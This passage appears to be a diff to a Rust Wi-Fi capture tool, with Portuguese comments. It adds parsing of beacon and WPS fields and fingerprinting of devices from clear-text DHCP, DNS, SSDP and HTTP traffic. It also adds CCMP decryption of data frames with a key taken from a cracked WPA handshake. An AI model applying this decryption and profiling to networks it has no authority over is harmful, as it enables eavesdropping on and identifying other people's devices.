pub struct PayloadInfo {
|
||||||
|
pub ip: Option<String>,
|
||||||
|
pub hostname: Option<String>,
|
||||||
|
pub os: Option<String>,
|
||||||
|
pub device: Option<String>,
|
||||||
|
pub manufacturer: Option<String>,
|
||||||
|
pub model: Option<String>,
|
||||||
|
pub service: Option<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Copy, Default)]
|
#[derive(Debug, Clone, Copy, Default)]
|
||||||
@@ -323,6 +349,13 @@ impl<'a> Frame<'a> {
|
|||||||
let mut wpa1_present = false;
|
let mut wpa1_present = false;
|
||||||
let mut rsn = RsnInfo::default();
|
let mut rsn = RsnInfo::default();
|
||||||
|
|
||||||
|
if matches!(self.kind, FrameKind::Beacon | FrameKind::ProbeResponse)
|
||||||
|
&& self.body.len() >= 24 + 12
|
||||||
|
{
|
||||||
|
info.beacon_interval = Some(u16::from_le_bytes([self.body[24 + 8], self.body[24 + 9]]));
|
||||||
|
}
|
||||||
|
info.privacy = privacy;
|
||||||
|
|
||||||
let mut i = 0usize;
|
let mut i = 0usize;
|
||||||
while i + 2 <= ies.len() {
|
while i + 2 <= ies.len() {
|
||||||
let tag = ies[i];
|
let tag = ies[i];
|
||||||
@@ -346,15 +379,44 @@ impl<'a> Frame<'a> {
|
|||||||
7 if len >= 2 => {
|
7 if len >= 2 => {
|
||||||
info.country = Some(String::from_utf8_lossy(&val[0..2]).into_owned())
|
info.country = Some(String::from_utf8_lossy(&val[0..2]).into_owned())
|
||||||
}
|
}
|
||||||
|
45 => {
|
||||||
|
add_phy(&mut info.phy, "n");
|
||||||
|
if info.width_mhz.is_none() {
|
||||||
|
info.width_mhz = Some(20);
|
||||||
|
}
|
||||||
|
}
|
||||||
48 => {
|
48 => {
|
||||||
rsn_present = true;
|
rsn_present = true;
|
||||||
if let Some(parsed) = parse_rsn(val) {
|
if let Some(parsed) = parse_rsn(val) {
|
||||||
rsn = parsed;
|
rsn = parsed;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
61 if len >= 2 => {
|
||||||
|
if info.width_mhz.is_none() || info.width_mhz == Some(20) {
|
||||||
|
info.width_mhz = Some(if val[1] & 0x04 != 0 { 40 } else { 20 });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
191 => add_phy(&mut info.phy, "ac"),
|
||||||
|
192 if !val.is_empty() => {
|
||||||
|
add_phy(&mut info.phy, "ac");
|
||||||
|
info.width_mhz = Some(match val[0] {
|
||||||
|
1 => 80,
|
||||||
|
2 => 160,
|
||||||
|
3 => 80,
|
||||||
|
_ => info.width_mhz.unwrap_or(20),
|
||||||
|
});
|
||||||
|
}
|
||||||
221 if len >= 4 && val[0..3] == [0x00, 0x50, 0xF2] => match val[3] {
|
221 if len >= 4 && val[0..3] == [0x00, 0x50, 0xF2] => match val[3] {
|
||||||
1 => wpa1_present = true,
|
1 => wpa1_present = true,
|
||||||
4 => info.wps = true,
|
4 => {
|
||||||
|
info.wps = true;
|
||||||
|
parse_wps(val, &mut info);
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
},
|
||||||
|
255 if !val.is_empty() => match val[0] {
|
||||||
|
35 | 36 => add_phy(&mut info.phy, "ax"),
|
||||||
|
106 | 108 => add_phy(&mut info.phy, "be"),
|
||||||
_ => {}
|
_ => {}
|
||||||
},
|
},
|
||||||
_ => {}
|
_ => {}
|
||||||
@@ -363,6 +425,7 @@ impl<'a> Frame<'a> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
info.pmf = rsn.caps & 0x00c0 != 0;
|
info.pmf = rsn.caps & 0x00c0 != 0;
|
||||||
|
info.pmf_required = rsn.caps & 0x0040 != 0;
|
||||||
if rsn_present {
|
if rsn_present {
|
||||||
info.cipher = rsn.cipher.map(|c| c.label().to_string());
|
info.cipher = rsn.cipher.map(|c| c.label().to_string());
|
||||||
info.akm = rsn.akm.labels();
|
info.akm = rsn.akm.labels();
|
||||||
@@ -405,6 +468,598 @@ impl<'a> Frame<'a> {
|
|||||||
let end = (start + 4 + len).min(self.body.len());
|
let end = (start + 4 + len).min(self.body.len());
|
||||||
self.body.get(start..end)
|
self.body.get(start..end)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Tenta identificar a estação por payload não criptografado. Só olha
|
||||||
|
/// dados em claro; em WPA2/WPA3 o conteúdo é opaco e retorna vazio — a
|
||||||
|
/// menos que a senha já tenha sido quebrada (ver [`Self::ccmp_payload`]
|
||||||
|
/// + [`payload_info_from_llc`]).
|
||||||
|
pub fn payload_info(&self) -> PayloadInfo {
|
||||||
|
if self.protected || !self.kind.is_data() {
|
||||||
|
return PayloadInfo::default();
|
||||||
|
}
|
||||||
|
let Some(payload) = self.body.get(self.header_len..) else {
|
||||||
|
return PayloadInfo::default();
|
||||||
|
};
|
||||||
|
payload_info_from_llc(payload)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// TID do campo QoS Control, quando o quadro é QoS Data. `None` pra
|
||||||
|
/// dados não-QoS (o nonce do CCMP usa TID 0 nesse caso).
|
||||||
|
pub fn qos_tid(&self) -> Option<u8> {
|
||||||
|
if !self.kind.is_data() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let subtype = (self.fc >> 4) & 0b1111;
|
||||||
|
if subtype & 0x8 == 0 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut offset = 24;
|
||||||
|
if self.to_ds && self.from_ds {
|
||||||
|
offset += 6;
|
||||||
|
}
|
||||||
|
self.body.get(offset).map(|b| b & 0x0f)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Decifra um quadro de dados CCMP com a TK já derivada (handshake
|
||||||
|
/// quebrado) e devolve o LLC/SNAP + payload em claro, no mesmo formato
|
||||||
|
/// que um quadro não protegido teria. `None` se o quadro não for CCMP
|
||||||
|
/// protegido ou os bytes não baterem com um cabeçalho CCMP válido.
|
||||||
|
pub fn ccmp_payload(&self, tk: &[u8; 16]) -> Option<Vec<u8>> {
|
||||||
|
if !self.protected || !self.kind.is_data() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let transmitter = self.addr2?;
|
||||||
|
let tid = self.qos_tid().unwrap_or(0);
|
||||||
|
let body = self.body.get(self.header_len..)?;
|
||||||
|
crate::ccmp::decrypt_data(tk, &transmitter, tid, body)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// LLC/SNAP (AA AA 03 00 00 00 + ethertype) seguido do payload em claro —
|
||||||
|
/// compartilhado entre quadros nunca cifrados e quadros CCMP já decifrados
|
||||||
|
/// com a TK conhecida.
|
||||||
|
pub fn payload_info_from_llc(payload: &[u8]) -> PayloadInfo {
|
||||||
|
let mut info = PayloadInfo::default();
|
||||||
|
let Some(llc) = payload.get(..8) else {
|
||||||
|
return info;
|
||||||
|
};
|
||||||
|
if llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03 {
|
||||||
|
return info;
|
||||||
|
}
|
||||||
|
let ethertype = u16::from_be_bytes([llc[6], llc[7]]);
|
||||||
|
let Some(rest) = payload.get(8..) else {
|
||||||
|
return info;
|
||||||
|
};
|
||||||
|
match ethertype {
|
||||||
|
0x0806 => parse_arp(rest, &mut info),
|
||||||
|
0x0800 => parse_ipv4(rest, &mut info),
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
info
|
||||||
|
}
|
||||||
|
|
||||||
|
fn ipv4_string(bytes: &[u8]) -> Option<String> {
|
||||||
|
(bytes.len() >= 4).then(|| format!("{}.{}.{}.{}", bytes[0], bytes[1], bytes[2], bytes[3]))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn private_ip(ip: &str) -> bool {
|
||||||
|
let mut parts = ip.split('.');
|
||||||
|
let (Some(a), Some(b)) = (
|
||||||
|
parts.next().and_then(|p| p.parse::<u8>().ok()),
|
||||||
|
parts.next().and_then(|p| p.parse::<u8>().ok()),
|
||||||
|
) else {
|
||||||
|
return false;
|
||||||
|
};
|
||||||
|
a == 10
|
||||||
|
|| (a == 172 && (16..=31).contains(&b))
|
||||||
|
|| (a == 192 && b == 168)
|
||||||
|
|| (a == 169 && b == 254)
|
||||||
|
|| (a == 100 && (64..=127).contains(&b))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_arp(payload: &[u8], info: &mut PayloadInfo) {
|
||||||
|
if payload.len() < 28
|
||||||
|
|| u16::from_be_bytes([payload[0], payload[1]]) != 1
|
||||||
|
|| u16::from_be_bytes([payload[2], payload[3]]) != 0x0800
|
||||||
|
|| payload[4] != 6
|
||||||
|
|| payload[5] != 4
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if let Some(ip) = ipv4_string(&payload[14..18]) {
|
||||||
|
if ip != "0.0.0.0" {
|
||||||
|
info.ip = Some(ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_ipv4(payload: &[u8], info: &mut PayloadInfo) {
|
||||||
|
if payload.len() < 20 || payload[0] >> 4 != 4 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let ihl = ((payload[0] & 0x0f) as usize) * 4;
|
||||||
|
if ihl < 20 || payload.len() < ihl {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let protocol = payload[9];
|
||||||
|
let src = ipv4_string(&payload[12..16]);
|
||||||
|
let dst = ipv4_string(&payload[16..20]);
|
||||||
|
if let Some(ip) = &src {
|
||||||
|
if private_ip(ip) {
|
||||||
|
info.ip = Some(ip.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
match protocol {
|
||||||
|
17 => {
|
||||||
|
let udp = &payload[ihl..];
|
||||||
|
if udp.len() < 8 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let sport = u16::from_be_bytes([udp[0], udp[1]]);
|
||||||
|
let dport = u16::from_be_bytes([udp[2], udp[3]]);
|
||||||
|
let data = &udp[8..];
|
||||||
|
if sport == 68 || dport == 67 {
|
||||||
|
parse_dhcp(data, info);
|
||||||
|
} else if sport == 5353 || dport == 5353 {
|
||||||
|
parse_dns(data, info, true);
|
||||||
|
} else if sport == 53 || dport == 53 {
|
||||||
|
parse_dns(data, info, false);
|
||||||
|
} else if sport == 1900 || dport == 1900 {
|
||||||
|
parse_ssdp(data, info);
|
||||||
|
} else if let Some(ip) = &dst {
|
||||||
|
if info.ip.is_none() && private_ip(ip) {
|
||||||
|
info.ip = Some(ip.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
6 => {
|
||||||
|
let tcp = &payload[ihl..];
|
||||||
|
if tcp.len() < 20 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let data_offset = ((tcp[12] >> 4) as usize) * 4;
|
||||||
|
let sport = u16::from_be_bytes([tcp[0], tcp[1]]);
|
||||||
|
let dport = u16::from_be_bytes([tcp[2], tcp[3]]);
|
||||||
|
if data_offset >= 20 && tcp.len() > data_offset {
|
||||||
|
let data = &tcp[data_offset..];
|
||||||
|
if matches!(sport, 80 | 8080 | 8000 | 8888)
|
||||||
|
|| matches!(dport, 80 | 8080 | 8000 | 8888)
|
||||||
|
{
|
||||||
|
parse_http(data, info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_dhcp(data: &[u8], info: &mut PayloadInfo) {
|
||||||
|
if data.len() < 240 || data[236..240] != [0x63, 0x82, 0x53, 0x63] {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut requested_ip = None;
|
||||||
|
let mut message_type = None;
|
||||||
|
let mut pos = 240usize;
|
||||||
|
while pos < data.len() {
|
||||||
|
let code = data[pos];
|
||||||
|
if code == 255 {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if code == 0 {
|
||||||
|
pos += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if pos + 1 >= data.len() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let len = data[pos + 1] as usize;
|
||||||
|
let start = pos + 2;
|
||||||
|
if start + len > data.len() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let val = &data[start..start + len];
|
||||||
|
match code {
|
||||||
|
12 => info.hostname = Some(String::from_utf8_lossy(val).trim().to_string()),
|
||||||
|
50 if len >= 4 => requested_ip = ipv4_string(val),
|
||||||
|
53 if len == 1 => message_type = Some(val[0]),
|
||||||
|
60 => {
|
||||||
|
let vendor = String::from_utf8_lossy(val).trim().to_string();
|
||||||
|
if let Some(os) = os_from_text(&vendor) {
|
||||||
|
info.os = Some(os);
|
||||||
|
}
|
||||||
|
if let Some(device) = device_from_text(&vendor) {
|
||||||
|
info.device = Some(device);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
81 => {
|
||||||
|
let name = String::from_utf8_lossy(val).trim_matches('\0').to_string();
|
||||||
|
if !name.is_empty() {
|
||||||
|
info.hostname = Some(name.split('\0').next().unwrap_or(&name).to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
pos = start + len;
|
||||||
|
}
|
||||||
|
if message_type == Some(3) {
|
||||||
|
if let Some(ip) = requested_ip {
|
||||||
|
if ip != "0.0.0.0" {
|
||||||
|
info.ip = Some(ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if info.hostname.as_deref() == Some("") {
|
||||||
|
info.hostname = None;
|
||||||
|
}
|
||||||
|
if let Some(hostname) = info.hostname.as_deref() {
|
||||||
|
if info.device.is_none() {
|
||||||
|
info.device = device_from_text(hostname);
|
||||||
|
}
|
||||||
|
if info.os.is_none() {
|
||||||
|
info.os = os_from_text(hostname);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn dns_name(data: &[u8], mut pos: usize) -> Option<(String, usize)> {
|
||||||
|
let mut labels = Vec::new();
|
||||||
|
let mut jumps = 0usize;
|
||||||
|
let mut end = pos;
|
||||||
|
let mut jumped = false;
|
||||||
|
while pos < data.len() && jumps < 16 {
|
||||||
|
let len = data[pos];
|
||||||
|
if len == 0 {
|
||||||
|
if !jumped {
|
||||||
|
end = pos + 1;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if len & 0xc0 == 0xc0 {
|
||||||
|
if pos + 1 >= data.len() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let ptr = (((len & 0x3f) as usize) << 8) | data[pos + 1] as usize;
|
||||||
|
if !jumped {
|
||||||
|
end = pos + 2;
|
||||||
|
}
|
||||||
|
pos = ptr;
|
||||||
|
jumps += 1;
|
||||||
|
jumped = true;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let len = len as usize;
|
||||||
|
if pos + 1 + len > data.len() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
labels.push(String::from_utf8_lossy(&data[pos + 1..pos + 1 + len]).into_owned());
|
||||||
|
pos += 1 + len;
|
||||||
|
if !jumped {
|
||||||
|
end = pos;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if labels.is_empty() {
|
||||||
|
None
|
||||||
|
} else {
|
||||||
|
Some((labels.join("."), end))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_dns(data: &[u8], info: &mut PayloadInfo, mdns: bool) {
|
||||||
|
if data.len() < 12 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let qd = u16::from_be_bytes([data[4], data[5]]) as usize;
|
||||||
|
let an = u16::from_be_bytes([data[6], data[7]]) as usize;
|
||||||
|
let mut pos = 12usize;
|
||||||
|
for _ in 0..qd {
|
||||||
|
let Some((name, next)) = dns_name(data, pos) else {
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
pos = next + 4;
|
||||||
|
apply_dns_name(&name, info, mdns);
|
||||||
|
}
|
||||||
|
for _ in 0..an.min(24) {
|
||||||
|
let Some((name, next)) = dns_name(data, pos) else {
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
if next + 10 > data.len() {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let kind = u16::from_be_bytes([data[next], data[next + 1]]);
|
||||||
|
let rdlen = u16::from_be_bytes([data[next + 8], data[next + 9]]) as usize;
|
||||||
|
let rdata = next + 10;
|
||||||
|
if rdata + rdlen > data.len() {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if kind == 1 && rdlen == 4 {
|
||||||
|
if let Some(ip) = ipv4_string(&data[rdata..rdata + 4]) {
|
||||||
|
if private_ip(&ip) && (info.ip.is_none() || info.hostname.is_none()) {
|
||||||
|
info.ip = Some(ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if kind == 16 {
|
||||||
|
parse_txt(&data[rdata..rdata + rdlen], info);
|
||||||
|
}
|
||||||
|
apply_dns_name(&name, info, mdns);
|
||||||
|
pos = rdata + rdlen;
|
||||||
|
}
|
||||||
|
if let Some(ip) = &info.ip {
|
||||||
|
if !private_ip(ip) {
|
||||||
|
info.ip = None;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn apply_dns_name(name: &str, info: &mut PayloadInfo, mdns: bool) {
|
||||||
|
let lower = name.to_ascii_lowercase();
|
||||||
|
if let Some(service) = lower.strip_prefix('_') {
|
||||||
|
info.service = Some(service.split('.').next().unwrap_or(service).to_string());
|
||||||
|
if let Some(device) = device_from_service(&lower) {
|
||||||
|
info.device = Some(device);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if mdns && lower.ends_with(".local") {
|
||||||
|
let host = name.split('.').next().unwrap_or(name);
|
||||||
|
if !host.is_empty() {
|
||||||
|
info.hostname = Some(host.to_string());
|
||||||
|
if let Some(device) = device_from_text(host) {
|
||||||
|
info.device = Some(device);
|
||||||
|
}
|
||||||
|
if let Some(os) = os_from_text(host) {
|
||||||
|
info.os = Some(os);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_txt(data: &[u8], info: &mut PayloadInfo) {
|
||||||
|
let mut pos = 0usize;
|
||||||
|
while pos < data.len() {
|
||||||
|
let len = data[pos] as usize;
|
||||||
|
pos += 1;
|
||||||
|
if pos + len > data.len() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let txt = String::from_utf8_lossy(&data[pos..pos + len]);
|
||||||
|
pos += len;
|
||||||
|
let mut parts = txt.splitn(2, '=');
|
||||||
|
let key = parts.next().unwrap_or("").to_ascii_lowercase();
|
||||||
|
let value = parts.next().unwrap_or("");
|
||||||
|
match key.as_str() {
|
||||||
|
"model" | "md" => info.model = Some(value.to_string()),
|
||||||
|
"os" => info.os = Some(value.to_string()),
|
||||||
|
"device" | "product" => info.device = Some(value.to_string()),
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_ssdp(data: &[u8], info: &mut PayloadInfo) {
|
||||||
|
let text = String::from_utf8_lossy(data);
|
||||||
|
for line in text.lines() {
|
||||||
|
let Some((key, value)) = line.split_once(':') else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
let key = key.trim().to_ascii_uppercase();
|
||||||
|
let value = value.trim();
|
||||||
|
match key.as_str() {
|
||||||
|
"SERVER" | "USER-AGENT" => {
|
||||||
|
if let Some(os) = os_from_text(value) {
|
||||||
|
info.os = Some(os);
|
||||||
|
}
|
||||||
|
if let Some(device) = device_from_text(value) {
|
||||||
|
info.device = Some(device);
|
||||||
|
}
|
||||||
|
if let Some(manufacturer) = manufacturer_from_text(value) {
|
||||||
|
info.manufacturer = Some(manufacturer);
|
||||||
|
}
|
||||||
|
info.model = info.model.take().or_else(|| {
|
||||||
|
value
|
||||||
|
.split_whitespace()
|
||||||
|
.find(|part| part.contains('/') && !part.contains("UPnP"))
|
||||||
|
.map(str::to_string)
|
||||||
|
});
|
||||||
|
}
|
||||||
|
"ST" | "NT" => {
|
||||||
|
let lower = value.to_ascii_lowercase();
|
||||||
|
if let Some(device) = device_from_service(&lower) {
|
||||||
|
info.device = Some(device);
|
||||||
|
}
|
||||||
|
info.service = info
|
||||||
|
.service
|
||||||
|
.take()
|
||||||
|
.or_else(|| Some(value.rsplit(':').next().unwrap_or(value).to_string()));
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_http(data: &[u8], info: &mut PayloadInfo) {
|
||||||
|
let text = String::from_utf8_lossy(data);
|
||||||
|
if !(text.starts_with("GET ") || text.starts_with("POST ") || text.starts_with("HEAD ")) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
for line in text.lines().take(64) {
|
||||||
|
let Some((key, value)) = line.split_once(':') else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
let key = key.trim().to_ascii_lowercase();
|
||||||
|
let value = value.trim();
|
||||||
|
match key.as_str() {
|
||||||
|
"user-agent" | "server" => {
|
||||||
|
if let Some(os) = os_from_text(value) {
|
||||||
|
info.os = Some(os);
|
||||||
|
}
|
||||||
|
if let Some(device) = device_from_text(value) {
|
||||||
|
info.device = Some(device);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"host" if info.hostname.is_none() => {
|
||||||
|
info.hostname = Some(value.split(':').next().unwrap_or(value).to_string());
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn os_from_text(text: &str) -> Option<String> {
|
||||||
|
let s = text.to_ascii_lowercase();
|
||||||
|
let os = if s.contains("windows nt 10") || s.contains("windows 10") || s.contains("windows 11")
|
||||||
|
{
|
||||||
|
"Windows 10/11"
|
||||||
|
} else if s.contains("windows") || s.contains("microsoft") {
|
||||||
|
"Windows"
|
||||||
|
} else if s.contains("ipados") || s.contains("ipad") {
|
||||||
|
"iPadOS"
|
||||||
|
} else if s.contains("iphone")
|
||||||
|
|| s.contains("ios")
|
||||||
|
|| s.contains("darwin") && s.contains("mobile")
|
||||||
|
{
|
||||||
|
"iOS"
|
||||||
|
} else if s.contains("mac os x") || s.contains("macintosh") || s.contains("macos") {
|
||||||
|
"macOS"
|
||||||
|
} else if s.contains("android") {
|
||||||
|
"Android"
|
||||||
|
} else if s.contains("cros") || s.contains("chromeos") {
|
||||||
|
"ChromeOS"
|
||||||
|
} else if s.contains("tizen") {
|
||||||
|
"Tizen"
|
||||||
|
} else if s.contains("webos") {
|
||||||
|
"webOS"
|
||||||
|
} else if s.contains("roku") {
|
||||||
|
"Roku OS"
|
||||||
|
} else if s.contains("linux")
|
||||||
|
|| s.contains("ubuntu")
|
||||||
|
|| s.contains("debian")
|
||||||
|
|| s.contains("raspbian")
|
||||||
|
{
|
||||||
|
"Linux"
|
||||||
|
} else {
|
||||||
|
return None;
|
||||||
|
};
|
||||||
|
Some(os.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn device_from_text(text: &str) -> Option<String> {
|
||||||
|
let s = text.to_ascii_lowercase();
|
||||||
|
let device = if s.contains("iphone")
|
||||||
|
|| s.contains("galaxy")
|
||||||
|
|| s.contains("pixel")
|
||||||
|
|| s.contains("redmi")
|
||||||
|
|| s.contains("smartphone")
|
||||||
|
|| s.contains("phone")
|
||||||
|
|| s.contains("moto ")
|
||||||
|
{
|
||||||
|
"smartphone"
|
||||||
|
} else if s.contains("ipad") || s.contains("tablet") {
|
||||||
|
"tablet"
|
||||||
|
} else if s.contains("macbook")
|
||||||
|
|| s.contains("thinkpad")
|
||||||
|
|| s.contains("laptop")
|
||||||
|
|| s.contains("notebook")
|
||||||
|
{
|
||||||
|
"laptop"
|
||||||
|
} else if s.contains("printer")
|
||||||
|
|| s.contains("laserjet")
|
||||||
|
|| s.contains("officejet")
|
||||||
|
|| s.contains("mfc-")
|
||||||
|
{
|
||||||
|
"impressora"
|
||||||
|
} else if s.contains("chromecast")
|
||||||
|
|| s.contains("appletv")
|
||||||
|
|| s.contains("fire tv")
|
||||||
|
|| s.contains("firetv")
|
||||||
|
|| s.contains("roku")
|
||||||
|
|| s.contains("smart tv")
|
||||||
|
|| s.contains("bravia")
|
||||||
|
|| s.contains("tv")
|
||||||
|
{
|
||||||
|
"TV/streaming"
|
||||||
|
} else if s.contains("camera") || s.contains("câmera") || s.contains("ipc") {
|
||||||
|
"câmera"
|
||||||
|
} else if s.contains("watch") {
|
||||||
|
"wearable"
|
||||||
|
} else if s.contains("echo")
|
||||||
|
|| s.contains("alexa")
|
||||||
|
|| s.contains("google home")
|
||||||
|
|| s.contains("nest")
|
||||||
|
{
|
||||||
|
"assistente"
|
||||||
|
} else if s.contains("raspberry") {
|
||||||
|
"SBC"
|
||||||
|
} else if s.contains("esp32")
|
||||||
|
|| s.contains("esp8266")
|
||||||
|
|| s.contains("shelly")
|
||||||
|
|| s.contains("sonoff")
|
||||||
|
|| s.contains("tuya")
|
||||||
|
{
|
||||||
|
"IoT"
|
||||||
|
} else if s.contains("desktop")
|
||||||
|
|| s.contains("laptop")
|
||||||
|
|| s.contains("windows")
|
||||||
|
|| s.contains("pc")
|
||||||
|
{
|
||||||
|
"computador"
|
||||||
|
} else {
|
||||||
|
return None;
|
||||||
|
};
|
||||||
|
Some(device.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn device_from_service(service: &str) -> Option<String> {
|
||||||
|
let s = service.to_ascii_lowercase();
|
||||||
|
let device = if s.contains("_airplay")
|
||||||
|
|| s.contains("_raop")
|
||||||
|
|| s.contains("_googlecast")
|
||||||
|
|| s.contains("_spotify-connect")
|
||||||
|
{
|
||||||
|
"TV/streaming"
|
||||||
|
} else if s.contains("_ipp") || s.contains("_printer") || s.contains("_pdl-datastream") {
|
||||||
|
"impressora"
|
||||||
|
} else if s.contains("_smb") || s.contains("_workstation") || s.contains("_device-info") {
|
||||||
|
"computador"
|
||||||
|
} else if s.contains("_homekit") || s.contains("_hap") {
|
||||||
|
"IoT"
|
||||||
|
} else if s.contains("_ssh") || s.contains("_sftp-ssh") {
|
||||||
|
"servidor"
|
||||||
|
} else {
|
||||||
|
return None;
|
||||||
|
};
|
||||||
|
Some(device.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn manufacturer_from_text(text: &str) -> Option<String> {
|
||||||
|
let s = text.to_ascii_lowercase();
|
||||||
|
let name = if s.contains("apple") {
|
||||||
|
"Apple"
|
||||||
|
} else if s.contains("samsung") {
|
||||||
|
"Samsung"
|
||||||
|
} else if s.contains("microsoft") || s.contains("windows") {
|
||||||
|
"Microsoft"
|
||||||
|
} else if s.contains("google") {
|
||||||
|
"Google"
|
||||||
|
} else if s.contains("sony") {
|
||||||
|
"Sony"
|
||||||
|
} else if s.contains("lg electronics") || s.starts_with("lg ") {
|
||||||
|
"LG"
|
||||||
|
} else if s.contains("roku") {
|
||||||
|
"Roku"
|
||||||
|
} else if s.contains("huawei") {
|
||||||
|
"Huawei"
|
||||||
|
} else if s.contains("xiaomi") {
|
||||||
|
"Xiaomi"
|
||||||
|
} else if s.contains("synology") {
|
||||||
|
"Synology"
|
||||||
|
} else if s.contains("raspberry") {
|
||||||
|
"Raspberry Pi"
|
||||||
|
} else {
|
||||||
|
return None;
|
||||||
|
};
|
||||||
|
Some(name.to_string())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Mantido para chamadores antigos: há um EAPOL neste quadro?
|
/// Mantido para chamadores antigos: há um EAPOL neste quadro?
|
||||||
@@ -441,6 +1096,47 @@ fn classify(rsn_present: bool, wpa1_present: bool, privacy: bool, rsn: RsnInfo)
|
|||||||
Security::Open
|
Security::Open
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn add_phy(phy: &mut Vec<String>, value: &str) {
|
||||||
|
if !phy.iter().any(|p| p == value) {
|
||||||
|
phy.push(value.to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Information Element de WPS (vendor 00:50:f2 tipo 4). O conteúdo começa
|
||||||
|
/// com a versão do protocolo e segue em atributos TLV de 16 bits.
|
||||||
|
fn parse_wps(val: &[u8], info: &mut ManagementInfo) {
|
||||||
|
if val.len() < 6 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let version = u16::from_be_bytes([val[4], val[5]]);
|
||||||
|
info.wps_version = Some(match version {
|
||||||
|
0x10 => "1.0".into(),
|
||||||
|
0x11 => "2.0".into(),
|
||||||
|
other => format!("0x{other:04x}"),
|
||||||
|
});
|
||||||
|
let mut pos = 6usize;
|
||||||
|
while pos + 4 <= val.len() {
|
||||||
|
let attr = u16::from_be_bytes([val[pos], val[pos + 1]]);
|
||||||
|
let len = u16::from_be_bytes([val[pos + 2], val[pos + 3]]) as usize;
|
||||||
|
let start = pos + 4;
|
||||||
|
if start + len > val.len() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let data = &val[start..start + len];
|
||||||
|
let text = || String::from_utf8_lossy(data).trim().to_string();
|
||||||
|
match attr {
|
||||||
|
0x1011 => info.wps_device_name = Some(text()),
|
||||||
|
0x1021 => info.wps_manufacturer = Some(text()),
|
||||||
|
0x1023 => info.wps_model = Some(text()),
|
||||||
|
0x1024 => info.wps_model_number = Some(text()),
|
||||||
|
0x1042 => info.wps_serial = Some(text()),
|
||||||
|
0x1057 if len == 1 => info.wps_locked = Some(data[0] != 0),
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
pos = start + len;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
fn parse_rsn(val: &[u8]) -> Option<RsnInfo> {
|
fn parse_rsn(val: &[u8]) -> Option<RsnInfo> {
|
||||||
if val.len() < 8 {
|
